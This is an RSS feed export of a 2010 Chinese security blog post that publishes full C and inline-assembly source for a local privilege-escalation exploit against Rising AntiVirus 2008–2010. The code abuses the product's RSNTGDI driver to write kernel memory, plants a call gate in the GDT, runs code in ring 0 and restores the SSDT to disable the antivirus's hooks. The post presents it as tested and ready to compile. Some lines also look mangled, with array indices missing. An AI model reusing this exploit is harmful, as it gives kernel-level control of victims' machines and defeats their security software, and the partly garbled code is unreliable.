<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Chinadu`s Blog &#187; 瑞星</title>
	<atom:link href="http://www.4shell.org/archives/tag/%e7%91%9e%e6%98%9f/feed" rel="self" type="application/rss+xml" />
	<link>http://www.4shell.org</link>
	<description>关注网络安全</description>
	<lastBuildDate>Thu, 29 Jul 2010 03:57:23 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>瑞星本地提权通杀利用代码</title>
		<link>http://www.4shell.org/archives/1548.html</link>
		<comments>http://www.4shell.org/archives/1548.html#comments</comments>
		<pubDate>Sun, 31 Jan 2010 07:04:42 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[0day]]></category>
		<category><![CDATA[提权]]></category>
		<category><![CDATA[瑞星]]></category>

		<guid isPermaLink="false">http://www.4shell.org/archives/1548.html</guid>
		<description><![CDATA[编译后,运行此程序,可在ring3下直接恢复其ssdt,然后就可以为所欲为了,刚才测试1月28日对瑞星2010版有效,据说也适用于2009和 2008版本

//MY Blog:http://hi.baidu.com/9908006
//MY QQ:165659238
//VC-ConsoleWithApi
#include "stdafx.h"
#include "windows.h"
enum { SystemModuleInformation = 11 };
typedef struct {
ULONG Unknown1;
ULONG Unknown2;
PVOID Base;
ULONG Size;
ULONG Flags;
USHORT Index;
USHORT NameLength;
USHORT LoadCount;
USHORT PathLength;
CHAR ImageName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;
typedef struct {
ULONG Count;
SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
HANDLE g_RsGdiHandle = 0 ;
void __stdcall WriteKVM(PVOID Address , ULONG Value)
{
ULONG ColorValue = Value ;
ULONG btr ;
ULONG ColorBuffer = 0 ;
DeviceIoControl(g_RsGdiHandle ,
0x83003C0B,
&#38;ColorValue ,
sizeof(ULONG),
&#38;ColorBuffer ,
sizeof(ULONG),
&#38;btr ,
0
);
DeviceIoControl(g_RsGdiHandle [...]]]></description>
			<content:encoded><![CDATA[<p>编译后,运行此程序,可在ring3下直接恢复其ssdt,然后就可以为所欲为了,刚才测试1月28日对瑞星2010版有效,据说也适用于2009和 2008版本</p>
<blockquote><p>
//MY Blog:http://hi.baidu.com/9908006</p>
<p>//MY QQ:165659238</p>
<p>//VC-ConsoleWithApi</p>
<p>#include "stdafx.h"</p>
<p>#include "windows.h"</p>
<p>enum { SystemModuleInformation = 11 };</p>
<p>typedef struct {</p>
<p>ULONG Unknown1;</p>
<p>ULONG Unknown2;</p>
<p>PVOID Base;</p>
<p>ULONG Size;</p>
<p>ULONG Flags;</p>
<p>USHORT Index;</p>
<p>USHORT NameLength;</p>
<p>USHORT LoadCount;</p>
<p>USHORT PathLength;</p>
<p>CHAR ImageName[256];</p>
<p>} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;</p>
<p>typedef struct {</p>
<p>ULONG Count;</p>
<p>SYSTEM_MODULE_INFORMATION_ENTRY Module[1];</p>
<p>} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;</p>
<p>HANDLE g_RsGdiHandle = 0 ;</p>
<p>void __stdcall WriteKVM(PVOID Address , ULONG Value)</p>
<p>{</p>
<p>ULONG ColorValue = Value ;</p>
<p>ULONG btr ;</p>
<p>ULONG ColorBuffer = 0 ;</p>
<p>DeviceIoControl(g_RsGdiHandle ,</p>
<p>0x83003C0B,</p>
<p>&amp;ColorValue ,</p>
<p>sizeof(ULONG),</p>
<p>&amp;ColorBuffer ,</p>
<p>sizeof(ULONG),</p>
<p>&amp;btr ,</p>
<p>0</p>
<p>);</p>
<p>DeviceIoControl(g_RsGdiHandle ,</p>
<p>0x83003C0B,</p>
<p>&amp;ColorValue ,</p>
<p>sizeof(ULONG),</p>
<p>Address ,</p>
<p>sizeof(ULONG),</p>
<p>&amp;btr ,</p>
<p>0</p>
<p>);</p>
<p>return ;</p>
<p>}</p>
<p>void AddCallGate()</p>
<p>{</p>
<p>ULONG Gdt_Addr;</p>
<p>ULONG CallGateData[0x4];</p>
<p>ULONG Icount;</p>
<p>__asm</p>
<p>{</p>
<p>push edx</p>
<p>sgdt [esp-2]</p>
<p>pop edx</p>
<p>mov Gdt_Addr , edx</p>
<p>}</p>
<p>__asm</p>
<p>{</p>
<p>push 0xc3</p>
<p>push Gdt_Addr</p>
<p>call WriteKVM</p>
<p>mov eax,Gdt_Addr</p>
<p>mov word ptr[CallGateData],ax</p>
<p>shr eax,16</p>
<p>mov word ptr[CallGateData+6],ax</p>
<p>mov dword ptr[CallGateData+2],0x0ec0003e8</p>
<p>mov dword ptr[CallGateData+8],0x0000ffff</p>
<p>mov dword ptr[CallGateData+12],0x00cf9a00</p>
<p>xor eax,eax</p>
<p>LoopWrite:</p>
<p>mov edi,dword ptr CallGateData[eax]</p>
<p>push edi</p>
<p>mov edi,Gdt_Addr</p>
<p>add edi,0x3e0</p>
<p>add edi,eax</p>
<p>push edi</p>
<p>mov Icount,eax</p>
<p>call WriteKVM</p>
<p>mov eax,Icount</p>
<p>add eax , 0x4</p>
<p>cmp eax,0x10</p>
<p>jnz LoopWrite</p>
<p>}</p>
<p>return ;</p>
<p>}</p>
<p>void IntoR0(PVOID function)</p>
<p>{</p>
<p>WORD Callgt[3];</p>
<p>Callgt[0] = 0;</p>
<p>Callgt[1] = 0;</p>
<p>Callgt[2] = 0x3e3;</p>
<p>__asm</p>
<p>{</p>
<p>call fword ptr[Callgt]</p>
<p>mov eax,esp</p>
<p>mov esp,[esp+4]</p>
<p>push eax</p>
<p>call function</p>
<p>pop esp</p>
<p>push offset ring3Ret</p>
<p>retf</p>
<p>ring3Ret:</p>
<p>nop</p>
<p>}</p>
<p>return ;</p>
<p>}</p>
<p>#pragma pack(1)</p>
<p>typedef struct _IDTR</p>
<p>{</p>
<p>SHORT IDTLimit;</p>
<p>UINT IDTBase;</p>
<p>}IDTR,</p>
<p>*PIDTR,</p>
<p>**PPIDTR;</p>
<p>#pragma pack()</p>
<p>ULONG g_RealSSDT = 0 ;</p>
<p>ULONG ServiceNum = 0 ;</p>
<p>ULONG OrgService [0x1000] ;</p>
<p>ULONG RvaToOffset(IMAGE_NT_HEADERS *NT, ULONG Rva)</p>
<p>{</p>
<p>ULONG Offset = Rva, Limit;</p>
<p>IMAGE_SECTION_HEADER *Img;</p>
<p>WORD i;</p>
<p>Img = IMAGE_FIRST_SECTION(NT);</p>
<p>if (Rva &lt; Img-&gt;PointerToRawData)</p>
<p>return Rva;</p>
<p>for (i = 0; i &lt; NT-&gt;FileHeader.NumberOfSections; i++)</p>
<p>{</p>
<p>if (Img.SizeOfRawData)</p>
<p>Limit = Img.SizeOfRawData;</p>
<p>else</p>
<p>Limit = Img.Misc.VirtualSize;</p>
<p>if (Rva &gt;= Img.VirtualAddress &amp;&amp;</p>
<p>Rva &lt; (Img.VirtualAddress + Limit))</p>
<p>{</p>
<p>if (Img.PointerToRawData != 0)</p>
<p>{</p>
<p>Offset -= Img.VirtualAddress;</p>
<p>Offset += Img.PointerToRawData;</p>
<p>}</p>
<p>return Offset;</p>
<p>}</p>
<p>}</p>
<p>return 0;</p>
<p>}</p>
<p>#define ibaseDD *(PDWORD)&amp;ibase</p>
<p>DWORD GetHeaders(PCHAR ibase, PIMAGE_FILE_HEADER *pfh, PIMAGE_OPTIONAL_HEADER *poh, PIMAGE_SECTION_HEADER *psh)</p>
<p>{</p>
<p>PIMAGE_DOS_HEADER mzhead=(PIMAGE_DOS_HEADER)ibase;</p>
<p>if ((mzhead-&gt;e_magic!=IMAGE_DOS_SIGNATURE)||(ibaseDD[mzhead-&gt;e_lfanew]!=IMAGE_NT_SIGNATURE)) return FALSE;</p>
<p>*pfh=(PIMAGE_FILE_HEADER)&amp;ibase[mzhead-&gt;e_lfanew];</p>
<p>if (((PIMAGE_NT_HEADERS)*pfh)-&gt;Signature!=IMAGE_NT_SIGNATURE) return FALSE;</p>
<p>*pfh=(PIMAGE_FILE_HEADER)((PBYTE)*pfh+sizeof(IMAGE_NT_SIGNATURE));</p>
<p>*poh=(PIMAGE_OPTIONAL_HEADER)((PBYTE)*pfh+sizeof(IMAGE_FILE_HEADER));</p>
<p>if ((*poh)-&gt;Magic!=IMAGE_NT_OPTIONAL_HDR32_MAGIC) return FALSE;</p>
<p>*psh=(PIMAGE_SECTION_HEADER)((PBYTE)*poh+sizeof(IMAGE_OPTIONAL_HEADER));</p>
<p>return TRUE;</p>
<p>}</p>
<p>typedef struct {</p>
<p>WORD offset:12;</p>
<p>WORD type:4;</p>
<p>} IMAGE_FIXUP_ENTRY, *PIMAGE_FIXUP_ENTRY;</p>
<p>#define RVATOVA(base,offset) ((PVOID)((DWORD)(base)+(DWORD)(offset)))</p>
<p>DWORD FindKiServiceTable(HMODULE hModule,DWORD dwKSDT , PULONG ImageBase)</p>
<p>{</p>
<p>PIMAGE_FILE_HEADER pfh;</p>
<p>PIMAGE_OPTIONAL_HEADER poh;</p>
<p>PIMAGE_SECTION_HEADER psh;</p>
<p>PIMAGE_BASE_RELOCATION pbr;</p>
<p>PIMAGE_FIXUP_ENTRY pfe;</p>
<p>DWORD dwFixups=0,i,dwPointerRva,dwPointsToRva,dwKiServiceTable;</p>
<p>BOOL bFirstChunk;</p>
<p>GetHeaders((PCHAR)hModule,&amp;pfh,&amp;poh,&amp;psh);</p>
<p>if ((poh-&gt;DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress) &amp;&amp;</p>
<p>(!((pfh-&gt;Characteristics)&amp;IMAGE_FILE_RELOCS_STRIPPED))) {</p>
<p>pbr=(PIMAGE_BASE_RELOCATION)RVATOVA(poh-&gt;DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress,hModule);</p>
<p>bFirstChunk=TRUE;</p>
<p>while (bFirstChunk || pbr-&gt;VirtualAddress) {</p>
<p>bFirstChunk=FALSE;</p>
<p>pfe=(PIMAGE_FIXUP_ENTRY)((DWORD)pbr+sizeof(IMAGE_BASE_RELOCATION));</p>
<p>for (i=0;i&lt;(pbr-&gt;SizeOfBlock-sizeof(IMAGE_BASE_RELOCATION))&gt;&gt;1;i++,pfe++) {</p>
<p>if (pfe-&gt;type==IMAGE_REL_BASED_HIGHLOW) {</p>
<p>dwFixups++;</p>
<p>dwPointerRva=pbr-&gt;VirtualAddress+pfe-&gt;offset;</p>
<p>dwPointsToRva=*(PDWORD)((DWORD)hModule+dwPointerRva)-(DWORD)poh-&gt;ImageBase;</p>
<p>if (dwPointsToRva==dwKSDT)</p>
<p>{</p>
<p>if (*(PWORD)((DWORD)hModule+dwPointerRva-2)==0x05c7)</p>
<p>{</p>
<p>dwKiServiceTable=*(PDWORD)((DWORD)hModule+dwPointerRva+4)-poh-&gt;ImageBase;</p>
<p>*ImageBase = poh-&gt;ImageBase;</p>
<p>return dwKiServiceTable;</p>
<p>}</p>
<p>}</p>
<p>}</p>
<p>}</p>
<p>*(PDWORD)&amp;pbr+=pbr-&gt;SizeOfBlock;</p>
<p>}</p>
<p>}</p>
<p>return 0;</p>
<p>}</p>
<p>DWORD CR0Reg ;</p>
<p>ULONG realssdt ;</p>
<p>void InKerneProc()</p>
<p>{</p>
<p>__asm</p>
<p>{</p>
<p>cli</p>
<p>mov eax, cr0</p>
<p>mov CR0Reg,eax</p>
<p>and eax,0xFFFEFFFF</p>
<p>mov cr0, eax</p>
<p>}</p>
<p>int i;</p>
<p>for (i = 0; i &lt; (int)ServiceNum; i++)</p>
<p>{</p>
<p>*(ULONG*)(*(ULONG*)realssdt + i * sizeof(ULONG)) = OrgService;</p>
<p>}</p>
<p>__asm</p>
<p>{</p>
<p>mov eax, CR0Reg</p>
<p>mov cr0, eax</p>
<p>sti</p>
<p>}</p>
<p>}</p>
<p>int main(int argc, char* argv[])</p>
<p>{</p>
<p>printf("Rising AntiVirus 2008 ~ 2010 n"</p>
<p>"Local Privilege Escalation Vulnerability Proof Of Concept Exploitn 2010-1-27n");</p>
<p>g_RsGdiHandle = CreateFile("[url=]\\.\RSNTGDI[/url]" ,</p>
<p>0,</p>
<p>FILE_SHARE_READ | FILE_SHARE_WRITE ,</p>
<p>0,</p>
<p>OPEN_EXISTING , 0 , 0 );</p>
<p>if (g_RsGdiHandle == INVALID_HANDLE_VALUE)</p>
<p>{</p>
<p>return 0 ;</p>
<p>}</p>
<p>SYSTEM_MODULE_INFORMATION ModuleInfo ;</p>
<p>// Learn the loaded kernel (e.g. NTKRNLPA vs NTOSKRNL), and it's base address</p>
<p>HMODULE hlib = GetModuleHandle("ntdll.dll");</p>
<p>PVOID pNtQuerySystemInformation = GetProcAddress(hlib , "NtQuerySystemInformation");</p>
<p>ULONG infosize = sizeof(ModuleInfo);</p>
<p>__asm</p>
<p>{</p>
<p>push 0</p>
<p>push infosize</p>
<p>lea eax , ModuleInfo</p>
<p>push eax</p>
<p>push 11</p>
<p>call pNtQuerySystemInformation</p>
<p>}</p>
<p>HMODULE KernelHandle ;</p>
<p>LPCSTR ntosname = (LPCSTR)((ULONG)ModuleInfo.Module[0].ImageName + ModuleInfo.Module[0].PathLength);</p>
<p>// Load the kernel image specified</p>
<p>KernelHandle = LoadLibrary(ntosname);</p>
<p>if (KernelHandle == 0 )</p>
<p>{</p>
<p>return 0 ;</p>
<p>}</p>
<p>ULONG KeSSDT = (ULONG)GetProcAddress(KernelHandle , "KeServiceDescriptorTable");</p>
<p>if (KeSSDT == 0 )</p>
<p>{</p>
<p>return 0 ;</p>
<p>}</p>
<p>ULONG ImageBase = 0 ;</p>
<p>ULONG KiSSDT = FindKiServiceTable(KernelHandle , KeSSDT - (ULONG)KernelHandle , &amp;ImageBase);</p>
<p>if (KiSSDT == 0 )</p>
<p>{</p>
<p>return 0 ;</p>
<p>}</p>
<p>KiSSDT += (ULONG)KernelHandle;</p>
<p>ServiceNum = 0x11c ;</p>
<p>ULONG i ;</p>
<p>for (i = 0 ; i &lt; ServiceNum ; i ++)</p>
<p>{</p>
<p>OrgService = *(ULONG*)(KiSSDT + i * sizeof(ULONG)) + (ULONG)ModuleInfo.Module[0].Base - ImageBase;</p>
<p>}</p>
<p>realssdt = KeSSDT - (ULONG)KernelHandle + (ULONG)ModuleInfo.Module[0].Base;</p>
<p>SetThreadAffinityMask(GetCurrentThread () , 0 ) ;</p>
<p>AddCallGate();</p>
<p>IntoR0(InKerneProc);</p>
<p>return 0;</p>
<p>}
</p></blockquote>
<h3>相关文章</h3>
<ul class="related_post">
<li><a href="http://www.4shell.org/archives/1777.html" title="你还敢执行txt文件吗？Windows 0day ">你还敢执行txt文件吗？Windows 0day </a></li>
<li><a href="http://www.4shell.org/archives/1761.html" title="橙色预警：PHP PATH_INFO 存在漏洞">橙色预警：PHP PATH_INFO 存在漏洞</a></li>
<li><a href="http://www.4shell.org/archives/1723.html" title="rar.exe在提权中的妙用">rar.exe在提权中的妙用</a></li>
<li><a href="http://www.4shell.org/archives/1722.html" title="Shopex V4.8.4 V4.8.5 0Day 通杀">Shopex V4.8.4 V4.8.5 0Day 通杀</a></li>
<li><a href="http://www.4shell.org/archives/1718.html" title="沙盒提权的小tips">沙盒提权的小tips</a></li>
<li><a href="http://www.4shell.org/archives/1641.html" title="PDF最新0day">PDF最新0day</a></li>
<li><a href="http://www.4shell.org/archives/1632.html" title="Firefox 3.6 0day被补了">Firefox 3.6 0day被补了</a></li>
<li><a href="http://www.4shell.org/archives/1615.html" title="DedeCms v5.5 0day">DedeCms v5.5 0day</a></li>
<li><a href="http://www.4shell.org/archives/1481.html" title="IE 极光0day攻击代码已经全面泄露 WebSense发出安全警告">IE 极光0day攻击代码已经全面泄露 WebSense发出安全警告</a></li>
<li><a href="http://www.4shell.org/archives/1345.html" title="关于搜狗拼音输入法提权的应用">关于搜狗拼音输入法提权的应用</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/1548.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
